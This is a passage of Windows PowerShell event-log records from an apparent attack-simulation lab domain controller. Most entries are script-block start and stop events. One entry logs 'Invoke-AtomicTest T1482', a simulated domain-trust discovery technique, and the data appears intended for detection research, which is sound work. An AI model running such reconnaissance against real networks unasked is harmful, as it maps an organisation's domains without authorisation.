Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477658
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477656
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477654
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477653
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477652
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477650
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477649
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477648
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477647
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477646
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477645
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477644
Keywords=None
Message=Started invocation of ScriptBlock ID: 582fc7cf-f6b7-4da1-9e23-cc924416f8ba
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477643
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1482
ScriptBlock ID: 582fc7cf-f6b7-4da1-9e23-cc924416f8ba
Path:
06/15/2021 05:05:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477642
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477920
Keywords=None
Message=Completed invocation of ScriptBlock ID: c89b68e5-1fd1-4b2a-91a1-3da245a7d27d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477919
Keywords=None
Message=Started invocation of ScriptBlock ID: c89b68e5-1fd1-4b2a-91a1-3da245a7d27d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477918
Keywords=None
Message=Completed invocation of ScriptBlock ID: bb618730-79f7-4207-874b-cd87502b4b74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477916
Keywords=None
Message=Started invocation of ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477914
Keywords=None
Message=Started invocation of ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 03110519-7d37-44ee-b60c-60479c254ac7
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477910
Keywords=None
Message=Started invocation of ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477909
Keywords=None
Message=Started invocation of ScriptBlock ID: 03110519-7d37-44ee-b60c-60479c254ac7
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477908
Keywords=None
Message=Started invocation of ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477907
Keywords=None
Message=Started invocation of ScriptBlock ID: bb618730-79f7-4207-874b-cd87502b4b74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b8d9ce5-9bbc-4943-9d8c-87bf66498064
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477905
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b8d9ce5-9bbc-4943-9d8c-87bf66498064
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477904
Keywords=None
Message=Completed invocation of ScriptBlock ID: bb618730-79f7-4207-874b-cd87502b4b74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477902
Keywords=None
Message=Started invocation of ScriptBlock ID: 72e9c98b-d670-48ec-8823-3d9664382c29
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477900
Keywords=None
Message=Started invocation of ScriptBlock ID: 56247f67-87d2-473e-8b7d-7057a74b340e
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 03110519-7d37-44ee-b60c-60479c254ac7
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477896
Keywords=None
Message=Started invocation of ScriptBlock ID: 7744fa91-4e2b-4c0b-b31f-0c99a4b07a0d
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477895
Keywords=None
Message=Started invocation of ScriptBlock ID: 03110519-7d37-44ee-b60c-60479c254ac7
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477894
Keywords=None
Message=Started invocation of ScriptBlock ID: 01e02c41-9561-4a95-a89b-4e82453f43ed
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477893
Keywords=None
Message=Started invocation of ScriptBlock ID: bb618730-79f7-4207-874b-cd87502b4b74
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b8d9ce5-9bbc-4943-9d8c-87bf66498064
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477891
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b8d9ce5-9bbc-4943-9d8c-87bf66498064
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477890
Keywords=None
Message=Completed invocation of ScriptBlock ID: fca6f55d-01b7-4640-b722-64c5883997ff
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477889
Keywords=None
Message=Started invocation of ScriptBlock ID: fca6f55d-01b7-4640-b722-64c5883997ff
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477888
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2e24529-583e-4e45-a6c6-d8bb6f9c9c5b
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477887
Keywords=None
Message=Started invocation of ScriptBlock ID: b2e24529-583e-4e45-a6c6-d8bb6f9c9c5b
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 437e352b-a8b1-47d5-a6f3-e37832de99ec
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477885
Keywords=None
Message=Started invocation of ScriptBlock ID: 437e352b-a8b1-47d5-a6f3-e37832de99ec
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4256f37c-6fc7-4ec6-8ce4-c6e1b9a23c26
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477883
Keywords=None
Message=Started invocation of ScriptBlock ID: 4256f37c-6fc7-4ec6-8ce4-c6e1b9a23c26
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
